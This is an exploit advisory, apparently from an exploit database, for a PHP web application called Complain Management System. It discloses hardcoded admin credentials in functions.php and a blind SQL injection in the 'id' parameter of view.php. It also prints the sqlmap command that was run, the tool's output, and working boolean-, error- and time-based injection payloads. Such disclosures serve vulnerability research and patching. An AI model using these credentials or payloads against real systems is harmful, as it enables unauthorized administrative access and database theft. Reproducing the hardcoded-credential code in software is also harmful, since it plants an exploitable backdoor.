# Exploit Title : Complain Management System Blind SQL Injection# Date: 10 October 2017# Exploit Author: havysec # Tested on: ubuntu14.04# Vendor: https://sourceforge.net/projects/complain-management-system/# Version: not supplied# Download Software: https://sourceforge.net/projects/complain-management-system/files## About The Product :
Complain Management is a Web based project used to manage Customer's complain Online. User can login,and Create complain, view complain details and track the status of its complain.## Vulnerability :
The functions.php file line 88 has hardcoded admin credentials.
elseif($uType =='admin'){//$_SESSION['user_id']= $row['sid'];if($userName =='admin'&& $password =='admin123'){
$_SESSION['user_id']=0;
$_SESSION['user_name']='Administrator';
$_SESSION['user_type']='admin';
header('Location: '.WEB_ROOT.'index.php');
exit;
Using the hardcoded admin credentials we then have access to the view.php file that is vulnerable to Blind SQL injection.-HTTP Method : GET
- Sqlmap command: sqlmap -u 'http://192.168.1.104/view.php?mod=admin&view=repod&id=plans'--cookie="PHPSESSID=t1bc9vj67odrj3bd096g0rffe0"- Sqlmap Output :
injection not exploitable with NULL values. Do you want to trywith a random integer value for option '--union-char'? [Y/n][00:47:53][WARNING]if UNION based SQL injection isnot detected, please consider forcing the back-end DBMS (e.g.'--dbms=mysql')[00:47:53][INFO] testing 'MySQL UNION query (98) - 22 to 40 columns'[00:47:53][INFO] testing 'MySQL UNION query (98) - 42 to 60 columns'[00:47:53][INFO] testing 'MySQL UNION query (98) - 62 to 80 columns'[00:47:54][INFO] testing 'MySQL UNION query (98) - 82 to 100 columns'
GET parameter 'id'is vulnerable. Do you want to keep testing the others (ifany)? [y/N]
sqlmap identified the following injection point(s)with a total of 650 HTTP(s) requests:---
Parameter:id(GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: mod=admin&view=repod&id=plans WHERE 6586=6586 AND 9310=9310#
Type: error-based
Title: MySQL >=5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: mod=admin&view=repod&id=plans WHERE 3317=3317 AND (SELECT 4063 FROM(SELECT COUNT(*),CONCAT(0x7176767a71,(SELECT (ELT(4063=4063,1))),0x7170766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--
Type: AND/OR time-based blind
Title: MySQL >=5.0.12 AND time-based blind (SELECT)
Payload: mod=admin&view=repod&id=plans WHERE 4122=4122 AND (SELECT * FROM (SELECT(SLEEP(5)))zWVH)-----[00:47:57][INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0[00:47:57][WARNING] HTTP error codes detected during run:500(Internal Server Error)-444 times